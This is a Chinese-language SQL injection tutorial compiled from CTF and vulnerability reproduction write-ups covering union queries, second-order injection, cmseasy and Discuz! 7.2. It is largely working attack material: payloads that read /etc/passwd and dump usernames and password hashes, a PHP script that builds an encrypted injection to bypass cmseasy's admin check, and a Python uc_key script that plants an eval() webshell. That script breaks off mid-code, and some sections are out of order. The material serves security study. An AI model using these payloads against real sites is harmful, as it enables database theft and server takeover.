目录
4. SQL注入基础之联合查询
什么是SQL注入漏洞
SQL注入原理
SQL注入带来的危害
注入按照注入技术(执行效果)分类
简单联合查询注入语句
4.1 [网鼎杯 2018]Comment二次注入
正好总结一下绕过addslashes的方式
4.2 ciscn2019web5CyberPunk
复现平台
解题过程
payload构造
payload使用
4.3 cmseasy注入漏洞
4.3.1 后台未授权访问
4.4 Discuz!7.2 SQL注入复现实验
4.4.1 实验准备
实验原理
实验工具:
UCenter+Discuz 7.2安装包
4.4.2 SQL注入漏洞复现
漏洞形成原因
扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)
python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)
4. SQL注入基础之联合查询
什么是SQL注入漏洞
- 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库乃至整个应用系统的入侵
SQL注入原理
- 服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全
SQL注入带来的危害
- 绕过登录验证:使用万能密码登录网站后台等
- 获取敏感数据:获取网站管理员帐号、密码等
- 文件系统操作:列目录,读取、写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
注入按照注入技术(执行效果)分类
- 基于布尔的盲注基于时间的盲注基于报错的注入联合查询注入堆查询注入
简单联合查询注入语句
1. id=1' order by xxx--+ xxx代表列数 2. id=-1' union select 1,2,3,4,xxx--+ 查询出有几列,数字就为几个,例如有5列,数字就是1,2,3,4,5 3. id=-1' union select 1,2,3,4 看回显字段,假设为2,3 4. id=-1' union select 1,database(),version(),4--+ 可以看到当前数据库名称 以及当前数据库版本 5. id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3,4 --+ 查询当前数据库下 所有表名 6. id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='admin_user'),3,4 --+ 查询当前数据库下,想要查询表的所有列名 7. id=-1' union select 1,group_concat(username,0x3a,password),3,4 from users--+
4.1 [网鼎杯 2018]Comment二次注入
- 登录,是一个类似留言板的界面,考虑二次注入 git源码泄露
- 这里要恢复一下文件,否则文件内容显示不全
//write_do.php <?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?> /*a. 发布新的文章(write) 从$_POST中获取category、title和content,并使用addslashes函数防止SQL注入(不过这个方法已不推荐,现代开发应使用参数化查询或准备语句)。 构建SQL插入语句,将数据插入到board表中。 执行SQL查询。 重定向到index.php页面。 b. 发表评论(comment) 从$_POST中获取bo_id,并使用addslashes防止SQL注入。 查询board表中对应bo_id的记录,获取其category。 如果查询结果存在(即该bo_id有效),则从$_POST中获取评论的内容,并使用addslashes防止SQL注入。 构建SQL插入语句,将评论数据插入到comment表中。 执行SQL查询。 重定向到comment.php页面,并传递bo_id以显示对应的评论。 默认行为 如果$_GET['do']未设置或不匹配任何已知操作,则默认重定向到index.php。*/
- 这里的write和comment分别对应发帖和留言界面
- 可以看到所有参数都进行了addslashes函数处理
正好总结一下绕过addslashes的方式
设置数据库字符为gbk导致宽字节注入 使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入 url解码导致绕过addslashes base64解码导致绕过addslashes json编码导致绕过addslashes 没有使用引号保护字符串,直接无视addslashes 使用了stripslashes(去掉了\) 字符替换导致的绕过addslashes
- 上述参考:https://bbs.ichunqiu.com/thread-10899-1-1.html
- 12345678910
- 闭合情况如下
insert into comment set category = ' ',content=user(),/*', content = '*/#', bo_id = '$bo_id'"; 1234
- 很明显的二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义注
- 进入数据库后是没有反斜杠的,这样comment操作时直接取出单引号就能闭合了
- 注意#是单行注释
',content=(select(load_file("/etc/passwd"))),/*
- 接下来读取文件,注意看到/home/www下以bash身份运行
,content=(select(load_file("/home/www/.bash_history"))) ',content=(select(load_file("/tmp/html/.DS_Store"))),
- 未显示完全,用hex编码显示
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/* ',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),
- j结果发现发现flag是假的,最后这个才是真的
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),
4.2 ciscn2019web5CyberPunk
- 刚比赛完的一段时间期末考试云集,没有时间复现题目。趁着假期,争取多复现几道题。
复现平台
- buuoj.cn
解题过程
- 首先进入题目页面
- 看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。
<!--?file=?-->
- 这里可能有一个文件包含,尝试payload
http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
- 结果得到了当前页面经过加密后的源码
有关伪协议的内容,可以大致参考下这篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html
<?php ini_set('open_basedir', '/var/www/html/'); // $file = $_GET["file"]; $file = (isset($_GET['file']) ? $_GET['file'] : null); if (isset($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) { echo('no way!'); exit; } @include($file); } ?> //HTML页面的代码省略,保留之前说的注释 /*首先,通过 isset($file) 检查 $file 是否被设置。如果未设置,则不会执行后续代码。 接下来,使用 preg_match 函数检查 $file 中是否包含某些危险的协议或字符序列(如 phar, zip, bzip2, zlib, data, input, %00)。这些协议或字符序列在某些情况下可能会被利用进行文件包含攻击或注入攻击。 正则表达式 /phar|zip|bzip2|zlib|data|input|%00/i 中: phar, zip, bzip2, zlib, data, input 是一些常见的流包装器。 %00 是空字符的 URL 编码形式。 /i 是正则表达式的修饰符,表示大小写不敏感。 如果匹配成功,说明 $file 中包含这些危险的协议或字符序列,脚本会输出 no way! 并调用 exit 函数终止执行。*/ <!--?file=?-->
- 用同样的方法,根据表单中暴露的位置,获取confirm.php,change.php,search.php等页面的内容。
<?php #change.php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); //如果没有检测到 SQL 注入问题,就会构建一个 SQL 查询来查找匹配的用户记录。 } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订åä /*如果查询结果存在且有记录,使用 fetch_assoc 获取用户数据。 构建一个 SQL 更新语句, 将新地址更新到 address 字段,并将旧地址保存到 old_address 字段。 执行更新操作。如果出错,输出错误信息并退出程序。 如果更新成功,则设置 $msg 为 "Address updated successfully!". */
<?php #search.php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); if(!$row) { echo 'error'; print_r($db->error); exit; } $msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å¨"; } ?> #无用的HTML代码省略
- 分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。
- 但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。
$address = addslashes($_POST["address"]); if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; }
- 可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新 一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
- 思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload。
payload构造
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1) #where user_id=:这是一个SQL查询中的条件语句,表明要对user_id进行条件过滤。 updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1): updatexml 是MySQL的一个函数,用于更新XML数据。 在这里,它被利用来执行一个子查询,这个子查询的目的是从文件/flag.txt中读取前20个字符的内容。 load_file('/flag.txt'):尝试加载/flag.txt文件的内容。 substr(load_file('/flag.txt'),1,20):从加载的文件内容中提取前20个字符。 concat(0x7e,...,0x7e):将获取的文件内容用波浪号 ~ 包围起来,这是为了标识从文件中提取的内容。
直接load_file不能显示全,这里分两次构造payload。
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)
payload使用
- 两个payload的使用方法为:(图片暂时无法加载除来)
- 先在初始页面随便输数据,记住姓名电话
- https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/givemoney.png
- 接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,比如1,这样就能看到报错页面
- https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png
- 如果想要使用新的payload,只需要删除订单在重复以上操作即可。 https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png
cmseasy后台可以未授权访问,在/lib/admin/admin.php中:
4.3 cmseasy注入漏洞
4.3.1 后台未授权访问
if (!defined('ROOT')) exit('Can\'t Access !'); abstract class admin extends act { function __construct() { if (ADMIN_DIR!=config::get('admin_dir')) { config::modify(array('admin_dir'=>ADMIN_DIR)); front::flash('后台目录更改成功!'); } /*这段代码首先比较定义的 ADMIN_DIR 常量与配置文件中的后台目录设置是否一致。 如果不一致,则通过 config::modify 方法修改配置文件中的 admin_dir 设置为 ADMIN_DIR 的值, 并显示一条提示消息(flash message)给用户。*/ front::$rewrite=false; /*这行代码将 URL 重写功能关闭。URL 重写通常用于美化网站的 URL 结构, 但在后台管理界面可能不需要这种功能。*/ parent::__construct(); /*调用父类 act 的构造函数。 这里假设 admin 类直接或间接地继承自 act 类。*/ $servip = gethostbyname($_SERVER['SERVER_NAME']); //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return; if($servip==front::ip()&&front::get('ishtml')==1) return; $this->check_admin(); } /*这段代码首先检查当前访问服务器的 IP 地址是否与前台定义的 IP 地址一致,并且 ishtml 参数为 1。 如果是,则直接返回,不执行后面的管理员权限检查。 否则,调用 check_admin() 方法,用于检查当前用户是否有管理员权限。 */
- 这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。
- 此时同学们思考,需要如何绕过这个验证
- 修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码
- 拿到了这个安全码,看看能如何利用,此时我们需要找到调用安全码的函数。看到/lib/admin/admin_act.php,58行:
function remotelogin_action() { cookie::del('passinfo'); // 删除名为'passinfo'的cookie // 检查是否有名为'loginfalse'加密后的错误登录计数 $this->view->loginfalse = cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI'])); // 如果有传入参数 if (front::$args) { $user = new user(); // 解密传入的参数,并使用配置中的密码解码 $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password')); // 从解密后的参数反序列化出用户对象 $user = $user->getrow(unserialize($args)); // 如果返回的用户是一个数组(即用户存在) if (is_array($user)) { // 如果用户的组ID是'888',标记为管理员登录 if ($user['groupid'] == '888') front::$isadmin = true; // 设置登录用户名和加密后的密码到cookie和session中 cookie::set('login_username', $user['username']); cookie::set('login_password', front::cookie_encode($user['password'])); session::set('username', $user['username']); // 导入必要的配置文件和类文件 require_once ROOT . '/celive/include/config.inc.php'; require_once ROOT . '/celive/include/celive.class.php'; // 创建celive实例,并进行认证 $login = new celive(); $login->auth(); // 调用全局认证类的远程登录方法 $GLOBALS['auth']->remotelogin($user['username'], $user['password']); $GLOBALS['auth']->check_login1(); // 设置当前用户信息到全局变量中 front::$user = $user; } else { // 如果返回的不是数组,或者未设置管理员标记 // 增加'loginfalse'的错误登录计数,并设置有效期 cookie::set('loginfalse' . md5($_SERVER['REQUEST_URI']), (int) cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI'])) + 1, time() + 3600); // 记录登录失败日志 event::log('loginfalse', '失败 user=' . $user['username']); // 提示密码错误或管理员不存在 front::flash('密码错误或不存在该管理员!'); // 重定向到管理员登录页面 front::refresh(url('admin/login', true)); } } // 渲染视图 $this->render(); }
- 远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。
- 此时继续思考,首先我们需要一个cookie密钥,再次我们需要怎么反推来满足他的需求,毕竟是通过base64过的数据直接放入数据库,并未过滤,随便绕过waf
- 脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:
/*知识点补充: 加密和解密函数定义 xxtea_encrypt($str, $key): 使用XXTEA算法对字符串 $str 进行加密,使用密钥 $key。 xxtea_decrypt($str, $key): 使用XXTEA算法对加密后的字符串 $str 进行解密,使用相同的密钥 $key。 字符串转换函数 long2str($v, $w): 将长整型数组 $v 转换为字符串。如果 $w 为 true,则根据数组中的最后一个元素指定长度截断字符串。 str2long($s, $w): 将字符串 $s 转换为长整型数组。如果 $w 为 true,则数组末尾添加字符串长度。 辅助函数 int32($n): 将输入的整数 $n 限制在32位有符号整数范围内。*/ <?php $key = 'xxx'; $table = array( 'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1 ); echo base64_encode(xxtea_encrypt(serialize($table), $key)); function xxtea_encrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, true); $k = str2long($key, false); if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = 0; while (0 < $q--) { $sum = int32($sum + $delta); $e = $sum >> 2 & 3; for ($p = 0; $p < $n; $p++) { $y = $v[$p + 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$p] = int32($v[$p] + $mx); } $y = $v[0]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$n] = int32($v[$n] + $mx); } return long2str($v, false); } function xxtea_decrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, false); $k = str2long($key, false); if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = int32($q * $delta); while ($sum != 0) { $e = $sum >> 2 & 3; for ($p = $n; $p > 0; $p--) { $z = $v[$p - 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[$p] = int32($v[$p] - $mx); } $z = $v[$n]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[0] = int32($v[0] - $mx); $sum = int32($sum - $delta); } return long2str($v, true); } function long2str($v, $w) { $len = count($v); $n = ($len - 1) << 2; if ($w) { $m = $v[$len - 1]; if (($m < $n - 3) || ($m > $n)) return false; $n = $m; } $s = array(); for ($i = 0; $i < $len; $i++) { $s[$i] = pack("V", $v[$i]); } if ($w) { return substr(join('', $s), 0, $n); } else { return join('', $s); } } function str2long($s, $w) { $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3)); $v = array_values($v); if ($w) { $v[count($v)] = strlen($s); } return $v; } function int32($n) { while ($n >= 2147483648) $n -= 4294967296; while ($n <= -2147483649) $n += 4294967296; return (int)$n; }
- 对上段代码的主要注释:
//加密过程 (xxtea_encrypt 函数) function xxtea_encrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, true); // 将字符串转换为长整型数组,末尾加上字符串长度信息 $k = str2long($key, false); // 将密钥转换为长整型数组 if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; // 如果密钥长度不足4,用0填充 } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = 0; while (0 < $q--) { $sum = int32($sum + $delta); $e = $sum >> 2 & 3; for ($p = 0; $p < $n; $p++) { $y = $v[$p + 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$p] = int32($v[$p] + $mx); } $y = $v[0]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$n] = int32($v[$n] + $mx); } return long2str($v, false); // 将加密后的长整型数组转换为字符串,不截断 } //解密过程 (xxtea_decrypt 函数) function xxtea_decrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, false); // 将加密后的字符串转换为长整型数组 $k = str2long($key, false); // 将密钥转换为长整型数组 if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; // 如果密钥长度不足4,用0填充 } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = int32($q * $delta); while ($sum != 0) { $e = $sum >> 2 & 3; for ($p = $n; $p > 0; $p--) { $z = $v[$p - 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[$p] = int32($v[$p] - $mx); } $z = $v[$n]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[0] = int32($v[0] - $mx); $sum = int32($sum - $delta); } return long2str($v, true); // 将解密后的长整型数组转换为字符串,并根据数组最后一个元素指定的长度截断字符串 } //主程序部分 $key = 'xxx'; // 设置加密解密使用的密钥 $table = array( 'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#' => 1 ); // 待加密的数组 $serialized = serialize($table); // 将数组序列化 $encrypted = xxtea_encrypt($serialized, $key); // 使用XXTEA算法加密序列化后的数组 $encoded = base64_encode($encrypted); // 对加密后的结果进行Base64编码 echo $encoded; // 输出最终加密并编码的结果
- 为什么要构造这样的一个注入,我们需要深入程序继续看
a:1:{s:132:"userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#";i:1;} #从 cmseasy_user 表中选择每个用户的用户名和密码的连接结果。在这里,concat(username,0x23,password) 使用 SQL 函数 concat() 将用户名和密码以 # 符号(0x23 的 ASCII 字符)连接起来。
Array ( [userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#] => 1 ) #数组的键部分试图通过 SQL 注入来操纵 SQL 查询。 SELECT * FROM `cmseasy_settings` WHERE `tag`='table-fieldset' ORDER BY 1 desc limit 1 #从 cmseasy_settings 表中选择 tag 为 table-fieldset 的记录,并按第一列降序排序,限制返回一条记录。 SELECT * FROM `cmseasy_user` WHERE userid>0 ORDER BY 1 desc limit 1 #从 cmseasy_user 表中选择 userid 大于 0 的记录,按第一列降序排序,限制返回一条记录。 SELECT * FROM `cmseasy_user` WHERE `userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#`='1' ORDER BY 1 desc limit 1\ #,concat(username,0x23,password) 将用户名和密码连接在一起,中间用 # 分隔(0x23 是 # 的 ASCII 码),回显形式为 username#password。
Array ( [userid] => 1 [username] => admin#21232f297a57a5a743894a0e4a801fc3 [password] => 3 [nickname] => 4 [groupid] => 5 [checked] => 6 [qqlogin] => 7 [alipaylogin] => 8 [avatar] => 9 [userip] => 10 [state] => 11 [qq] => 12 [e_mail] => 13 [address] => 14 [tel] => 15 [question] => 16 [answer] => 17 [intro] => 18 [point] => 19 [introducer] => 20 )
- 获得加密后的字符串如下:
- 我们需要构造如下语句,就可以将cookie设置成注入获得的数据:
http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xxxx
4.4 Discuz!7.2 SQL注入复现实验
4.4.1 实验准备
实验原理
- Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。
实验工具:
UCenter+Discuz 7.2安装包
- 安装过程,在这里直接忽略
4.4.2 SQL注入漏洞复现
漏洞形成原因
} elseif($action == 'grouppermission') { ... ... ksort($gids);//数组 $gids 按键名进行升序排序。 $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); /* 从两个表 usergroups 和 admingroups 中选择数据,并进行左连接。 {$tablepre} 通常是表前缀,这种做法是在应用程序中动态处理不同环境或数据库表名前缀的惯用方法。 u LEFT JOIN a:使用左连接,将 usergroups 表中的数据与 admingroups 表中的数据根据 groupid 和 admingid 进行连接。 WHERE u.groupid IN (".implodeids($groupids)."):限制查询结果, 只选择 groupid 在 $groupids 列表中的记录。 implodeids($groupids) 将 $groupids 数组转化为一个逗号分隔的字符串, 适用于 SQL 的 IN 子句中。*/
- 重点看上面几行代码
- 首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。
- 为什么这个操作就造成了注入?
- discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
- 再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数:
function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; } }
- 很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。
- 但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
- '1','\','3','4'
- 有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错:http://chuantu.xyz/t6/741/1609987267x1033348220.png
扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)
#! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try:
python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)
and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23 //从 cdb_members 表中选取第一条用户名和密码记录,并将用户名和密码连接在一起,其中 0x27 是单引号(')的十六进制表示。
Array ( [0] => 7 [1] => \ [2] => ) and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ) //从 ucenter.uc_members 表中获取第一条用户记录,将用户名、密码和盐值连接起来,其中 0x3a 是冒号(:)的十六进制表示。
and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' //floor(rand(0)*2)):将获取到的用户名、密码和盐值与一个随机数(0或1)组合起来,为了制造唯一性。